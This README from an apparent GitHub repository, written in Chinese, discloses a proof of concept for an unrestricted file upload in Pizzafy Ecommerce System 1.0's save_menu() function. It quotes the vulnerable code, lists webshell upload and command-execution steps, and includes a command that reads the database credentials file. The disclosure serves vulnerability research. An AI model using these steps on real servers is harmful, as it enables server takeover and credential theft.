Xmyronn/CVE-2026-7393-RCE

GitHub: Xmyronn/CVE-2026-7393-RCE

针对 Pizzafy Ecommerce System 1.0 的 save_menu() 函数无限制文件上传漏洞的 PoC,演示如何通过上传 PHP webshell 实现远程代码执行。

Stars: 0 | Forks: 0

# Pizzafy Ecommerce System 1.0 – save_menu() 中的无限制文件上传导致远程代码执行 ## 详情 | 字段 | 值 | |---|---| | **供应商** | SourceCodester | | **供应商 URL** | https://www.sourcecodester.com | | **产品** | Pizzafy Ecommerce System using PHP and MySQL | | **产品 URL** | https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html | | **版本** | 1.0 | | **漏洞** | 无限制文件上传 → 远程代码执行 | | **CWE** | CWE-434 | | **CVSSv3 评分** | 7.8 (高危) | | **攻击向量** | 网络 | | **需要身份验证** | 是 (管理员) | | **用户交互** | 无 | | **研究员** | Imad Alvi | | **日期** | 2026-04-12 | ## 受影响的组件 **文件:** `Pizzafy/admin/admin_class_novo.php` → `save_menu()` 函数 **参数:** `img` (FILE) **上传路径:** `Pizzafy/assets/img/` ## 描述 Pizzafy Ecommerce System 1.0 中的 `save_menu()` 函数在处理菜单项的图片上传时,没有执行任何文件类型验证。应用程序使用 `pathinfo()` 获取文件扩展名,但在将上传的文件移动到可通过 Web 访问的 `assets/img/` 目录之前,从未真正检查或限制允许的文件类型。通过身份验证的管理员可以上传一个伪装成菜单图片的 PHP webshell,然后通过浏览器直接访问它,从而在服务器上实现远程代码执行。 **`admin_class_novo.php` 中的漏洞代码:** ``` function save_menu(){ extract($_POST); // ... if($_FILES['img']['tmp_name'] != ''){ $fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name']; $move = move_uploaded_file($_FILES['img']['tmp_name'],'../assets/img/'. $fname); $data .= ", img_path = '$fname' "; } // No extension check, no MIME type check } ``` ## 概念验证 ### 步骤 1 — 创建 PHP Webshell 创建一个名为 `shell_web2.php` 的文件,内容如下: ``` ``` ### 步骤 2 — 通过菜单管理上传 Webshell 以管理员身份登录并导航至: ``` http://localhost/pizzafy/Pizzafy/admin/index.php?page=menu ``` 在菜单表单中填写任意有效值,并选择 `shell_web2.php` 作为 Image 文件。点击 **Save**。 Screenshot 2026-04-12 171202 该 shell 现在作为菜单项列在面向客户的页面上。 Screenshot 2026-04-12 171236 ### 步骤 3 — 定位上传的 Shell 导航至 assets 目录——目录列表已启用 (CWE-548): ``` http://192.168.0.9/pizzafy/Pizzafy/assets/img/ ``` 上传的 PHP shell 在目录列表中可见。 Screenshot 2026-04-12 171300 ### 步骤 4 — 执行远程命令 直接访问上传的 shell,并通过 `cmd` 参数传递系统命令: ``` http://192.168.0.9/pizzafy/Pizzafy/assets/img/1775994120_shell_web2.php?cmd=whoami ``` **响应——在服务器上执行了 OS 命令:** ``` desktop-g1i9np3\dell ``` Screenshot 2026-04-12 171313 ## 附加命令 ``` ?cmd=whoami ?cmd=ipconfig ?cmd=dir C:\xampp\htdocs\pizzafy ?cmd=type C:\xampp\htdocs\pizzafy\Pizzafy\admin\db_connect.php ``` ## 影响 通过身份验证的管理员可以: - 将任意 PHP 文件上传到 Web 服务器 - 在服务器上执行任何 OS 级别的命令 - 读取敏感文件,包括数据库凭证 - 建立反向 shell 以获取完整的持久访问权限 - 彻底破坏底层服务器 ## 关于目录列表的说明 (CWE-548) `assets/img/` 目录启用了目录列表,允许未经身份验证的用户浏览所有上传的文件,包括 webshell。这加剧了文件上传漏洞的严重性。 ## 参考 - [SourceCodester — Pizzafy Ecommerce System](https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html) - CWE-434:危险类型文件的无限制上传 - CWE-548:通过目录列表暴露信息。
标签:CISA项目, CWE-434, PHP安全, RCE, SourceCodester, Webshell, Web安全, 后门, 子域名枚举, 文件上传漏洞, 无限制文件上传, 漏洞分析, 电商平台, 管理员权限, 系统安全, 编程工具, 蓝队分析, 路径探测, 远程代码执行, 高危漏洞